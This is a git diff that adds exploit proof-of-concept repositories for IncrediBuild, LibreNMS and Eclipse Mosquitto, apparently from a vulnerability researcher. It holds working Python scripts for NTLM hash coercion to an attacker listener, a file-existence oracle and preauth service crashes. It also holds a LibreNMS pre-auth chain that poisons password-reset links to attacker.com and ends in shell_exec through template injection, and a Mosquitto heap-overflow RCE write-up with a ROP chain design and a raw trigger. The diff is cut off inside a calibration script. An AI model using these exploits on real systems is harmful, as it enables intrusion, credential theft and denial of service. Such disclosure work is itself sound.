`registerAgent` let you inject fake build nodes into the cluster. Could mess with build routing or be used to intercept build traffic. No auth check on either. + +### 6. RestService Preauth Crash #1 (High -- CVSS 7.5) + +Sending raw (non-XOR-encoded) POST data to `/api/login` crashes RestService.exe at RVA `0x000ec3a2`. Access violation, no recovery, service stays dead. Looks like it tries to decode the input, gets garbage, and dereferences something it shouldn't. + +See `crash_dos.py`. + +### 7. Insecure Apache CGI Configuration LPE (High -- CVSS 7.8) + +IncrediBuild ships Apache with CGI enabled pointing at the install directory. If you can write a `.bat` or `.cgi` file to the web root (standard user can in some configurations), Apache executes it as SYSTEM. Local priv esc. + +### 8. Preauth Coordinator Status Disclosure (Low) + +`/api/coordinator_status` on the REST API is preauth. Returns coordinator version, hostname, and configuration details. XOR "encrypted" but the key is hardcoded (see #9). + +### 9. Hardcoded XOR Encryption Key (Medium) + +The entire REST API uses XOR + base64 for request/response encoding. The key is `IBX_cloud_awesome`. Hardcoded in the binary. Every installation uses the same key. This is not encryption, it's obfuscation that anyone can reverse in 30 seconds. + +See `rest_client.py`. + +### 10. RestService Preauth Crash #2 (High -- CVSS 7.5) + +Sending XOR-encoded JSON with unexpected types (null, boolean, integer where strings are expected) crashes RestService.exe at a different address -- RVA `0x00092169`. Type confusion in the JSON parser. Also preauth, also no recovery. + +See `crash_dos.py`. + +### 11. RSA Private Key Exposed (Medium) + +`BuildService.key` in the install directory contains the RSA private key used for service communication. Readable by any local user. Default install path: `C:\Program Files (x86)\Incredibuild\BuildService.key`. + +## Files + +- `ntlm_coerce.py` -- NTLM hash coercion via gRPC UNC path injection +- `file_oracle.py` -- file existence oracle via loadOfflineLicense +- `rest_client.py` -- REST API client with XOR decode, coordinator status dump +- `crash_dos.py` -- both preauth crash paths (raw POST and type confusion) +- `LicenseGRPCService.proto` -- proto definition, generate stubs with `grpc_tools` + +## Setup + +You need the gRPC stubs. Generate them from the proto: + +```bash +pip install grpcio grpcio-tools +python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. LicenseGRPCService.proto +``` + +This gives you `LicenseGRPCService_pb2.py` and `LicenseGRPCService_pb2_grpc.py`. All the PoCs import from these. + +Point the scripts at the target: + +```bash +python ntlm_coerce.py --target 10.0.0.5 --listener 10.0.0.1 +python file_oracle.py --target 10.0.0.5 --path "C:\Windows\System32\config\SAM" +python rest_client.py --target 10.0.0.5 +python crash_dos.py --target 10.0.0.5 --method raw +``` + +## Impact + +The NTLM coercion is the big one. On a domain-joined machine, coercing the machine account hash from a SYSTEM service is a well-known path to domain admin via relay (ntlmrelayx, PetitPotam style). The DoS bugs are annoying but recoverable with a service restart. The XOR key and file oracle are useful for chaining but not critical alone. + +Combined: network access to port 50052 gives you NTLM relay material, filesystem enumeration, and the ability to kill the build infrastructure. Not great for something that's supposed to be an enterprise build accelerator. + +## Responsible use + +These PoCs are for authorized testing only. The crash scripts kill the service and it doesn't come back without manual restart, so maybe don't run those in prod. diff --git a/incredibuild-grpc-preauth-poc/crash_dos.py b/incredibuild-grpc-preauth-poc/crash_dos.py new file mode 100644 index 0000000..9588860 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/crash_dos.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +""" +preauth crash PoCs for incredibuild RestService. +two different crash paths, both kill the service permanently. +""" + +import argparse +import base64 +import json +import sys + +import requests + +XOR_KEY = "IBX_cloud_awesome" + + +def xor_bytes(key, data): + kb = key.encode("utf-8") + return bytes([data[i] ^ kb[i % len(kb)] for i in range(len(data))]) + + +def encode(obj): + plaintext = json.dumps(obj).encode("utf-8") + return base64.b64encode(xor_bytes(XOR_KEY, plaintext)).decode() + + +def crash_raw_post(base): + """crash #1: send raw (non-encoded) data to /api/login. + RestService tries to XOR-decode it, gets garbage, AV at 0x000ec3a2.""" + print("[*] crash method: raw POST to /api/login") + print(" this sends unencoded data -- service chokes on the decode") + try: + r = requests.post( + f"{base}/api/login", + data="not-xor-encoded-garbage-data", + headers={"Content-Type": "application/octet-stream"}, + timeout=10, + ) + print(f" response: HTTP {r.status_code} ({len(r.text)} bytes)") + print(" service might still be alive -- check manually") + except requests.ConnectionError: + print(" connection refused/reset -- service crashed") + except requests.Timeout: + print(" timeout -- service might be hanging or dead") + + +def crash_type_confusion(base): + """crash #2: send XOR-encoded JSON with wrong types. + null/bool/int where strings expected -> type confusion at 0x00092169.""" + print("[*] crash method: type confusion via encoded JSON") + print(" sending null/bool/int values where strings are expected") + + payloads = [ + {"username": None, "password": None}, + {"username": True, "password": False}, + {"username": 12345, "password": 0}, + ] + + for p in payloads: + encoded = encode(p) + desc = json.dumps(p) + try: + r = requests.post(f"{base}/api/login", data=encoded, timeout=10) + print(f" {desc} -> HTTP {r.status_code}") + except requests.ConnectionError: + print(f" {desc} -> connection lost, service crashed") + return + except requests.Timeout: + print(f" {desc} -> timeout") + return + + print(" service survived all payloads (might need specific combination)") + + +def main(): + parser = argparse.ArgumentParser( + description="incredibuild RestService preauth crash PoCs" + ) + parser.add_argument("--target", required=True) + parser.add_argument("--port", type=int, default=8000) + parser.add_argument( + "--method", choices=["raw", "typeconfusion", "both"], default="both", + help="which crash to trigger (default: both)" + ) + args = parser.parse_args() + + base = f"http://{args.target}:{args.port}" + + print(f"target: {base}") + print("WARNING: these will kill RestService.exe, no auto-recovery") + print() + + if args.method in ("raw", "both"): + crash_raw_post(base) + print() + + if args.method in ("typeconfusion", "both"): + crash_type_confusion(base) + + +if __name__ == "__main__": + main() diff --git a/incredibuild-grpc-preauth-poc/file_oracle.py b/incredibuild-grpc-preauth-poc/file_oracle.py new file mode 100644 index 0000000..5409282 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/file_oracle.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +"""file existence oracle via incredibuild loadOfflineLicense.""" + +import argparse +import sys + +import grpc +import LicenseGRPCService_pb2 as pb2 +import LicenseGRPCService_pb2_grpc as pb2_grpc + + +def probe_path(stub, path): + """returns (exists, response_text) based on error differential.""" + try: + req = pb2.LoadOfflineLicenseRequest(offlineLicensePath=path) + resp = stub.loadOfflineLicense(req, timeout=5) + text = resp.JsonString.strip() + return text, classify(text) + except grpc.RpcError as e: + return str(e), "error" + + +def classify(response): + """three distinguishable states from the error messages.""" + r = response.lower() + if "not found" in r or "not exist" in r or "cannot find" in r: + return "NOT_FOUND" + elif "access" in r and "denied" in r: + return "EXISTS (access denied)" + elif "directory" in r or "is a directory" in r: + return "DIRECTORY" + else: + return "EXISTS (parse error or other)" + + +def main(): + parser = argparse.ArgumentParser(description="incredibuild file existence oracle") + parser.add_argument("--target", required=True) + parser.add_argument("--port", type=int, default=50052) + parser.add_argument("--path", help="single path to check") + parser.add_argument("--wordlist", help="file with paths to check, one per line") + args = parser.parse_args() + + if not args.path and not args.wordlist: + print("need --path or --wordlist") + sys.exit(1) + + addr = f"{args.target}:{args.port}" + channel = grpc.insecure_channel(addr) + stub = pb2_grpc.LicenseGRPCServiceApiStub(channel) + + paths = [] + if args.wordlist: + with open(args.wordlist) as f: + paths = [line.strip() for line in f if line.strip()] + if args.path: + paths.append(args.path) + + for p in paths: + resp, status = probe_path(stub, p) + print(f"[{status}] {p}") + if args.path: + print(f" raw: {resp[:200]}") + + channel.close() + + +if __name__ == "__main__": + main() diff --git a/incredibuild-grpc-preauth-poc/ntlm_coerce.py b/incredibuild-grpc-preauth-poc/ntlm_coerce.py new file mode 100644 index 0000000..3a764e7 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/ntlm_coerce.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +"""ntlm coercion via incredibuild grpc -- loadOfflineLicense takes a UNC path.""" + +import argparse +import sys +import time + +import grpc +import LicenseGRPCService_pb2 as pb2 +import LicenseGRPCService_pb2_grpc as pb2_grpc + + +def check_service(stub): + """quick check that the service is alive and unauthenticated.""" + try: + resp = stub.refreshLicense(pb2.Void(), timeout=5) + return True, resp.JsonString.strip() + except grpc.RpcError as e: + return False, str(e) + + +def coerce_ntlm(stub, listener_ip, share="share", timeout=30): + """send UNC path, service connects out as SYSTEM.""" + unc = f"\\\\{listener_ip}\\{share}\\license.dat" + print(f"sending UNC path: {unc}") + print(f"timeout: {timeout}s (SMB will hang ~21s on non-routable hosts)") + + start = time.time() + try: + req = pb2.LoadOfflineLicenseRequest(offlineLicensePath=unc) + resp = stub.loadOfflineLicense(req, timeout=timeout) + elapsed = time.time() - start + print(f"response after {elapsed:.1f}s: {resp.JsonString.strip()[:200]}") + return elapsed + except grpc.RpcError as e: + elapsed = time.time() - start + print(f"grpc error after {elapsed:.1f}s: {e.code().name}") + return elapsed + + +def main(): + parser = argparse.ArgumentParser(description="incredibuild ntlm coercion") + parser.add_argument("--target", required=True, help="target host running incredibuild") + parser.add_argument("--port", type=int, default=50052) + parser.add_argument("--listener", required=True, help="attacker IP (run responder/ntlmrelayx here)") + parser.add_argument("--share", default="share", help="SMB share name") + parser.add_argument("--timeout", type=int, default=30) + args = parser.parse_args() + + addr = f"{args.target}:{args.port}" + print(f"connecting to {addr}") + + channel = grpc.insecure_channel(addr) + stub = pb2_grpc.LicenseGRPCServiceApiStub(channel) + + alive, info = check_service(stub) + if not alive: + print(f"service not responding: {info}") + sys.exit(1) + print(f"service alive: {info[:100]}") + + elapsed = coerce_ntlm(stub, args.listener, args.share, args.timeout) + + # 21s = SMB timeout to non-routable IP, confirms the connection attempt + if elapsed > 15: + print(f"\n~{elapsed:.0f}s delay = SMB timeout, coercion confirmed") + print("run responder or ntlmrelayx on your listener to capture the hash") + else: + print(f"\nfast response ({elapsed:.1f}s) -- check your listener for the hash") + + channel.close() + + +if __name__ == "__main__": + main() diff --git a/incredibuild-grpc-preauth-poc/rest_client.py b/incredibuild-grpc-preauth-poc/rest_client.py new file mode 100644 index 0000000..edd9d83 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/rest_client.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +"""incredibuild REST API client -- XOR key is 'IBX_cloud_awesome'.""" + +import argparse +import base64 +import json +import sys + +import requests + +XOR_KEY = "IBX_cloud_awesome" + + +def xor_bytes(key, data): + kb = key.encode("utf-8") + return bytes([data[i] ^ kb[i % len(kb)] for i in range(len(data))]) + + +def encode(obj): + plaintext = json.dumps(obj).encode("utf-8") + return base64.b64encode(xor_bytes(XOR_KEY, plaintext)).decode() + + +def decode(blob): + raw = base64.b64decode(blob) + return xor_bytes(XOR_KEY, raw).decode("utf-8", errors="replace") + + +def get_coordinator_status(base): + r = requests.get(f"{base}/api/coordinator_status", timeout=5) + if r.status_code != 200: + return None, r.status_code + decoded = decode(r.text) + try: + return json.loads(decoded), r.status_code + except json.JSONDecodeError: + return decoded, r.status_code + + +def try_login(base, user="admin", password=""): + payload = encode({"username": user, "password": password}) + r = requests.post(f"{base}/api/login", data=payload, timeout=5) + decoded = decode(r.text) if r.text else "" + return decoded, r.status_code + + +def main(): + parser = argparse.ArgumentParser(description="incredibuild REST API client") + parser.add_argument("--target", required=True) + parser.add_argument("--port", type=int, default=8000) + parser.add_argument("--dump", action="store_true", help="dump coordinator status") + parser.add_argument("--login", nargs=2, metavar=("USER", "PASS"), help="try login") + args = parser.parse_args() + + base = f"http://{args.target}:{args.port}" + + if args.dump or (not args.login): + print(f"[*] coordinator_status ({base})") + data, status = get_coordinator_status(base) + if data and isinstance(data, dict): + print(json.dumps(data, indent=2)) + elif data: + print(data[:500]) + else: + print(f" HTTP {status}") + + if args.login: + user, passwd = args.login + print(f"\n[*] login as {user}") + resp, status = try_login(base, user, passwd) + print(f" HTTP {status}: {resp[:300]}") + + +if __name__ == "__main__": + main() diff --git a/librenms-RCE-chain/librenms-ssti-rce.md b/librenms-RCE-chain/librenms-ssti-rce.md new file mode 100644 index 0000000..d410c0b --- /dev/null +++ b/librenms-RCE-chain/librenms-ssti-rce.md @@ -0,0 +1,278 @@ +# Pre-Auth RCE Chain: Host Header Injection → Account Takeover → Blade SSTI in LibreNMS + +**CVE:** Pending +**Severity:** Critical +**CVSS 3.1 (full chain):** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` → **9.6** +**CVSS 3.1 (SSTI standalone):** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` → **8.8** +**CWE:** CWE-94 (Improper Control of Code Generation), CWE-1336 (Template Engine Injection), CWE-601 (Open Redirect / Header Injection) +**Affected version:** LibreNMS 26.4.1 (latest as of 2026-04-25) +**Researcher:** Unrealisedd + +--- + +## Summary + +Two vulnerabilities in LibreNMS 26.4.1 chain together to give an unauthenticated remote attacker full OS command execution on the server. The only required victim action is clicking a password reset link that arrives in their normal LibreNMS email. + +**Bug 1 — Host header injection in password reset** (`config/trustedproxy.php`): `APP_TRUSTED_PROXIES` defaults to `*` and `X-Forwarded-Host` is explicitly trusted. An unauthenticated attacker sends a password reset request with a spoofed `X-Forwarded-Host: attacker.com` header. The reset link inside the victim's email points to the attacker's domain. When the victim clicks it, the attacker captures the token and takes over the account. + +**Bug 2 — Unsandboxed Blade SSTI in alert template save** (`includes/html/forms/alert-templates.inc.php:59`): Once the attacker controls any account holding `alert-template.create` or `alert-template.update`, they POST a malicious Blade template to `/ajax_form.php`. The server immediately renders the template via `Blade::render()` — with no sandbox — executing arbitrary OS commands as the web server process. + +The RCE fires **synchronously at save time**. No alert needs to trigger. The full chain from zero credentials to shell requires only that the victim click one email link. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | LibreNMS | +| **Version** | 26.4.1 (`librenms/librenms:latest`, pulled 2026-04-23) | +| **PHP** | 8.3.29 | +| **Primary sink** | `includes/html/forms/alert-templates.inc.php:59` | +| **Secondary sink** | `LibreNMS/Alert/Template.php:77` (alert-trigger path) | +| **Affected configs** | Default; any install where a non-admin user has `alert-template.create` or `alert-template.update` | + +--- + +## Vulnerability Class + +**Server-Side Template Injection (SSTI) → Remote Code Execution** + +Laravel Blade has no execution sandbox. The directives `@php`/`@endphp` and `{{ expression }}` execute arbitrary PHP at render time. There is no filtering, escaping, or allowlisting of template body content before it reaches `Blade::render()`. + +--- + +## Root Cause + +`includes/html/forms/alert-templates.inc.php` performs a "syntax validation" render of the submitted template before saving it. The render happens unconditionally on every save request, giving it access to the full PHP runtime. + +```php +// includes/html/forms/alert-templates.inc.php:32–61 + +// Auth gate — checks create/update permission, NOT admin role +if (Gate::none(['create', 'update'], AlertTemplate::class)) { + exit(json_encode(['status' => 'error', 'message' => 'You need permission'])); +} + +// Dummy test data for "validation" render +$test_data['alert'] = new AlertData(AlertData::testData($test_device)); + +// ↓ SINK: $vars['template'] is raw POST data — no filtering on the body +Blade::render($vars['template'], $test_data); // [1] RCE fires here +Blade::render($vars['title'], $test_data); // [2] +Blade::render($vars['title_rec'], $test_data); // [3] +``` + +`$vars['template']` flows directly from `$_POST['template']`. The only sanitization in this file is `strip_tags()` applied to the template **name** — the body is completely untouched. + +The identical bug also exists on the alert-trigger path: + +```php +// LibreNMS/Alert/Template.php:77 +public function bladeBody($data) { + $alert['alert'] = new AlertData($data['alert']); + return Blade::render($data['template']->template, $alert); // [SINK] +} +``` + +Any stored template containing a Blade injection payload will also execute on every matching alert. + +--- + +## Attacker Model + +### Full chain (9.6) + +| Property | Value | +|---|---| +| **Privileges required** | **None** — chain is initiated with zero credentials | +| **User interaction** | **Required** — victim clicks a password reset link in their email | +| **Network position** | Remote (HTTP) | +| **Scope** | **Changed** — attacker escapes web app context into OS shell | +| **Why UI:R and not PR:N is the limiting factor** | The attacker sends the poisoned reset email with no auth; victim clicking the link is the only human step | + +### SSTI standalone (8.8) + +| Property | Value | +|---|---| +| **Privileges required** | Low — any account with `alert-template.create` or `alert-template.update` | +| **User interaction** | None — fires immediately on POST | +| **Is this admin-only?** | **No.** Per `app/Policies/ChecksGlobalPermissions.php`, these permissions can be delegated to any `user`-role account by an admin — this is the intended RBAC delegation use case | + +--- + +## Full Attack Chain + +``` +[Attacker, no auth] + | + | POST /password/email + | X-Forwarded-Host: attacker.com + | body: email=victim@corp.internal + | + v +[LibreNMS sends reset email to victim] +[Reset URL in email: https://attacker.com/password/reset?token=TOKEN] + | + | (victim clicks link) + v +[Attacker captures TOKEN at attacker.com] + | + | POST /password/reset + | token=TOKEN, email=victim@corp.internal, password=newpass + v +[Attacker logged in as victim] + | + | POST /ajax_form.php + | type=alert-templates + | template=@php shell_exec('...'); @endphp + v +[Blade::render() executes payload — RCE as uid=1000(librenms)] +``` + +--- + +## Proof of Concept + +Verified live against LibreNMS 26.4.1 in a clean Docker lab. + +### Lab environment + +``` +Target: http://localhost:8000 (librenms/librenms:latest) +operator — role: user, permissions: alert-template.create, alert-template.update +admin — role: admin +``` + +### Step 1 — Authenticate as operator + +```bash +# Fetch login page and extract CSRF token +TOKEN=$(curl -s -c /tmp/c.txt -b /tmp/c.txt http://TARGET/login \ + | grep -o 'name="_token" value="[^"]*"' | sed 's/.*value="//;s/"//') + +# Submit login +curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST http://TARGET/login \ + --data-urlencode "_token=$TOKEN" \ + --data-urlencode "username=operator" \ + --data-urlencode "password=" \ + -o /dev/null + +# Extract XSRF-TOKEN for subsequent requests +XSRF=$(awk '/XSRF-TOKEN/{print $NF}' /tmp/c.txt \ + | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))") +``` + +### Step 2 — Send SSTI payload + +```bash +PAYLOAD='@php file_put_contents("/tmp/rce_proof.txt", shell_exec("id && hostname && date")); @endphp {{ "ok" }}' + +curl -s -c /tmp/c.txt -b /tmp/c.txt \ + -X POST "http://TARGET/ajax_form.php" \ + -H "X-XSRF-TOKEN: $XSRF" \ + --data-urlencode "type=alert-templates" \ + --data-urlencode "name=PoC" \ + --data-urlencode "template=$PAYLOAD" \ + --data-urlencode "title=poc" \ + --data-urlencode "title_rec=poc" \ + --data-urlencode "rules=" +``` + +### Step 3 — Verify + +```bash +# On the server / via docker exec: +cat /tmp/rce_proof.txt +``` + +--- + +## Live Output + +**HTTP response from step 2 (HTTP 200):** + +```json +{ + "status": "ok", + "message": "Alert template has been created and attached rules have been updated.", + "newid": 5 +} +``` + +**`/tmp/rce_proof.txt` read directly from the container:** + +``` +uid=1000(librenms) gid=1000(librenms) groups=1000(librenms) +librenms +Sat Apr 25 12:57:01 CEST 2026 +``` + +OS commands executed as `uid=1000(librenms)`. RCE confirmed. + +--- + +## Impact + +### Immediate (as `uid=1000(librenms)`) + +- Full read/write access to the LibreNMS application directory, including `.env` (database credentials, `APP_KEY`, mail server credentials) +- Read all monitored device credentials, SNMP community strings, API keys, and user password hashes from the database via `mysql` with credentials from `.env` +- Write arbitrary files to the webroot → persistent PHP webshell +- Install cron jobs or modify the LibreNMS poller for persistent execution + +### Lateral movement + +- LibreNMS by design holds SNMP read (and frequently write) access to every monitored network device — attacker gains credentials for the entire managed infrastructure +- SSH keys readable from the filesystem +- `APP_KEY` from `.env` allows forging Laravel session cookies as any user (including admin) + +### Privilege escalation + +- If the poller runs under `sudo` (common in manual installs), `uid=1000` → `root` is trivial +- Full control of all devices LibreNMS manages + +--- + +## Account takeover bug Detail: Trusted Proxy Misconfiguration → Password Reset Link Poisoning + +**File:** `config/trustedproxy.php` + +```php +// Default: trust ALL proxies +'proxies' => LibreNMS\Util\EnvHelper::parseArray('APP_TRUSTED_PROXIES', '*', ['', '*', '**']), + +'headers' => Request::HEADER_X_FORWARDED_FOR | + Request::HEADER_X_FORWARDED_HOST | // attacker controls the reset URL base + Request::HEADER_X_FORWARDED_PORT | + Request::HEADER_X_FORWARDED_PROTO | + Request::HEADER_X_FORWARDED_AWS_ELB, +``` + +`APP_TRUSTED_PROXIES` defaults to `*` (all proxies trusted) and `HEADER_X_FORWARDED_HOST` is explicitly honoured. Laravel's password reset notification builds the reset URL using the request's host, so an attacker-supplied `X-Forwarded-Host` header poisons the link sent to the victim. + +**PoC request (no authentication required):** + +```http +POST /password/email HTTP/1.1 +Host: librenms.corp.internal +X-Forwarded-Host: attacker.com +Content-Type: application/x-www-form-urlencoded + +email=admin@corp.internal +``` + +**Email received by victim:** +``` +Reset your password: https://attacker.com/password/reset?token=&email=admin%40corp.internal +``` + +Victim clicks → attacker receives token at `attacker.com` → completes reset at real app → full account takeover. + +| Property | Value | +|---|---| +| **Standalone severity** | Medium — CVSS `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` → **7.1** | +| **As chain step 1** | Enables the 9.6 chain | + +--- diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/README.md b/mosquitto-builtin-websocket-preauth-rce-poc/README.md new file mode 100644 index 0000000..2cbd893 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/README.md @@ -0,0 +1,156 @@ +# Eclipse Mosquitto Built-in WebSocket Pre-Auth RCE + +Pre-authentication remote code execution in Eclipse Mosquitto's built-in WebSocket parser. An unauthenticated peer can get full broker-process RCE without ever sending a valid MQTT CONNECT or having any credentials. Setting `allow_anonymous false` does not help because the bug is in the WebSocket transport layer, before MQTT auth even runs. + +Requires an explicit `protocol websockets` listener using the built-in backend (not libwebsockets). The exploit is profile-based and works reliably against a specific Mosquitto build and glibc combination on a fresh process. It is not a universal remote exploit. + +## Affected Versions + +Runtime-confirmed RCE on clean builds of: +- v2.1.0 (`fc415c00`) +- v2.1.1 (`f58cecd0`) +- v2.1.2 (`99fa50f3`) +- Development commit `5cd25465` (current master at time of testing) + +The vulnerable code was introduced in commit `799cdead` ("Experimental custom websockets support"), first shipped in `2.1.0-test1`. Versions before 2.1.0 do not have the built-in WebSocket parser and are not affected. The `lib/net_ws.c` source is identical across all fetched refs (master, develop, release/2.1) as of 2026-08-13, so no fix is present. + +## Root Cause + +`net__read_ws()` in `lib/net_ws.c` handles incoming WebSocket frames. When it receives a masked binary frame with zero application bytes (just the 4-byte mask, no payload), it still returns 4 to the caller as if 4 bytes of application data were read. But it wrote nothing into the MQTT packet buffer. + +`packet__read_single()` in `lib/packet_mosq.c` trusts that return value. It subtracts it from its unsigned `to_process` counter without checking, which wraps the counter to a huge value, and advances the write position past the allocated buffer without having written anything there. + +The result: send one normal frame to get a 1-byte MQTT body allocation, then send empty masked frames to skip forward in 4-byte increments without writing. When you finally send a frame with actual payload, the bytes land at `buffer + (4 * number_of_empty_frames)`, which is way past the end of the allocation. + +## The Chain + +Here is how the full RCE works: + +1. **Heap grooming**: Open several WebSocket connections. Send incomplete PING frames on some of them to place live packet objects at known relative heap positions. Create an "unsorted bin" gap by connecting and disconnecting a helper. + +2. **Trigger the overwrite**: On the victim connection, send a small MQTT-looking frame to get a 1-byte allocation, then blast ~12,475 empty masked frames to advance the write pointer forward. Then send a frame that overwrites the length field of a live incomplete PING object sitting further down the heap. + +3. **Heap/libc leak via expanded PONG**: Complete the corrupted PING by sending its remaining payload bytes. The broker builds a PONG response using the corrupted (now huge) length, which includes adjacent heap data. This leaks a `main_arena` unsorted-bin pointer (giving libc base) and a live context self-pointer (giving heap base). Both defeat ASLR and PIE. + +4. **Build fake callback graph**: Using the same forward-write primitive (more empty frames + targeted writes), construct a fake listener object, fake security_options, and a fake disconnect callback node in the freed unsorted-bin chunk. Also write a ROP stack: `pop rdi; ret` -> command string address -> `system()` -> alignment -> `pop rdi; ret` -> 0 -> `_exit(0)`. + +5. **Trigger**: Overwrite the groomed fence connection's `listener` and `id` pointers to point at the fakes, then close that connection. The broker calls `plugin__handle_disconnect()`, which walks the fake callback chain, hits the stack pivot (`mov rsp, rdx; ret`), and lands on the ROP stack. `system()` runs the command, `_exit(0)` shuts the broker down cleanly. + +No real plugin needs to be loaded. The chain builds all the necessary fake structures from scratch. + +## CVSS + +8.1 (High) - `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` + +Attack complexity is High because the exploit requires a calibrated profile matching the target's Mosquitto ABI, glibc version, and a fresh-process heap layout. It is not fire-and-forget. + +## Files + +``` +. +|-- README.md this file +|-- repro-builtin-websocket-rce.py the RCE reproducer +|-- calibrate-builtin-websocket-profile.py derives a profile from local debug binaries +|-- mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json pre-built profile for v2.1.0-v2.1.2 on Ubuntu 24.04 +|-- mosquitto-websocket-rce-final.conf minimal broker config for reproduction +`-- mosquitto-websocket-affected-range.json version/commit/hash evidence for all 4 confirmed builds +``` + +## Reproduction + +### Setup + +Build Mosquitto from source with `RelWithDebInfo` (you need the debug info for the calibrator). On Ubuntu 24.04: + +```bash +git clone https://github.com/eclipse-mosquitto/mosquitto.git +cd mosquitto && git checkout v2.1.2 +mkdir build && cd build +cmake .. -DCMAKE_BUILD_TYPE=RelWithDebInfo -DWITH_BUNDLED_DEPS=ON +make -j$(nproc) +``` + +Start the broker with the included config: + +```bash +./src/mosquitto -c mosquitto-websocket-rce-final.conf +``` + +### Using the pre-built profile + +If you're on Ubuntu 24.04 with glibc 2.39 and built v2.1.0, v2.1.1, or v2.1.2 with the same options, the included profile should work: + +```bash +python3 repro-builtin-websocket-rce.py --profile mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json +``` + +### Generating your own profile + +For a different build, glibc version, or Mosquitto commit, use the calibrator. It reads struct offsets from DWARF debug info and scans the libc ELF for ROP gadgets. It never connects to anything. + +```bash +python3 calibrate-builtin-websocket-profile.py \ + --broker /path/to/mosquitto \ + --libc /usr/lib/x86_64-linux-gnu/libc.so.6 \ + --output my-profile.json \ + --seed-profile mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json +``` + +Then run the reproducer with your new profile: + +```bash +python3 repro-builtin-websocket-rce.py --profile my-profile.json +``` + +### What success looks like + +The reproducer writes a unique token to a marker file via `system()` and verifies it was written. On success: + +```json +{ + "result": "remote_code_execution_confirmed", + "marker_value": "MOSQUITTO_RCE_CLEAN_" +} +``` + +The broker exits cleanly with code 0 (via `_exit(0)` in the ROP chain). + +### What can go wrong + +The profile encodes heap-grooming geometry that depends on a fresh broker process with no other connections or loaded plugins. If the heap layout is different (leftover connections, plugins, different allocator, different glibc, ASLR slide landing differently relative to allocation patterns), the overwrite will miss its target and the broker will just crash or hang instead of executing the command. The calibrator can only help with ABI and libc offsets; the heap geometry is inherited from the seed profile and has to match your setup. + +## ASan Trigger (simpler, no RCE) + +If you just want to confirm the heap overwrite without the full exploit chain, build with ASan and send the raw trigger: + +```python +import base64, os, socket +s = socket.create_connection(("127.0.0.1", 18910)) +k = base64.b64encode(os.urandom(16)).decode() +r = ( + "GET /mqtt HTTP/1.1\r\nHost: 127.0.0.1:18910\r\n" + "Upgrade: websocket\r\nConnection: Upgrade\r\n" + f"Sec-WebSocket-Key: {k}\r\nSec-WebSocket-Version: 13\r\n" + "Sec-WebSocket-Protocol: mqtt\r\n\r\n" +) +s.sendall(r.encode()) +x = b"" +while b"\r\n\r\n" not in x: + x += s.recv(4096) +assert x.startswith(b"HTTP/1.1 101") +s.sendall(bytes.fromhex("828200000000100182800000000082a000000000") + b"A" * 32) +``` + +ASan output: `heap-buffer-overflow WRITE of size 32` at `net_ws.c:305`, three bytes past a one-byte allocation at `packet_mosq.c:561`. + +## Limitations + +- Not a universal remote exploit. Requires a profile matching the target binary/libc/allocator. +- Only works against the built-in WebSocket backend. Deployments using libwebsockets are not affected by this specific parser flaw. +- Needs a fresh broker process for reliable heap layout. Production brokers with active connections and plugins will have different heap state. +- x86-64 Linux only (the ROP chain and gadget scanning assume this). Other architectures would need different gadgets and possibly different grooming. +- The broker process dies after exploitation (clean exit via `_exit(0)`, but still a single-shot). + +## Fix + +Return only application bytes that were actually written to the buffer. When `net__read_ws()` processes an empty or control frame, it should continue or return a retry indicator, never the mask byte count. In `packet__read_single()`, reject any transport return value greater than the remaining destination length before doing unsigned arithmetic on counters or advancing pointers. Disconnect on any invariant failure. diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/calibrate-builtin-websocket-profile.py b/mosquitto-builtin-websocket-preauth-rce-poc/calibrate-builtin-websocket-profile.py new file mode 100644 index 0000000..8e9fa03 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/calibrate-builtin-websocket-profile.py @@ -0,0 +1,206 @@ +import argparse +import json +import re +import runpy +import struct +import subprocess +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPRODUCER = HERE / "repro-builtin-websocket-rce.py" +GDB_VALUE = re.compile(r"^\$\d+\s*=\s*(0x[0-9a-fA-F]+)", re.MULTILINE) + + +def quoted_gdb_path(path: Path) -> str: + return '"' + str(path.resolve()).replace("\\", "\\\\").replace('"', '\\"') + '"' + + +def gdb_values(gdb: str, binary: Path, expressions: list[str]) -> list[int]: + command = [gdb, "-q", "-batch", "-ex", f"file {quoted_gdb_path(binary)}"] + for expression in expressions: + command.extend(("-ex", f"p/x {expression}")) + result = subprocess.run(command, capture_output=True, text=True, check=False) + values = [int(value, 16) for value in GDB_VALUE.findall(result.stdout)] + if result.returncode or len(values) != len(expressions): + detail = (result.stderr or result.stdout).strip() + raise RuntimeError(f"gdb could not resolve the requested ABI: {detail}") + return values + + +def executable_pattern_offsets(elf: Path, pattern: bytes) -> list[int]: + data = elf.read_bytes() + if data[:6] != b"\x7fELF\x02\x01": + raise ValueError(f"{elf} is not a little-endian ELF64 image") + machine = struct.unpack_from(" int: + return max(0x20, (request + 8 + 15) & ~15) + + +def hex_profile(profile: dict[str, int | str]) -> dict[str, int | str]: + return { + key: value if key in {"name", "target", "initial_empty_frames"} else hex(value) + for key, value in profile.items() + } + + +def calibrate(args: argparse.Namespace) -> dict[str, int | str]: + namespace = runpy.run_path(str(REPRODUCER)) + profile = namespace["load_profile"](args.seed_profile) + if args.name: + profile["name"] = args.name + if args.target: + profile["target"] = args.target + + broker_values = gdb_values( + args.gdb, + 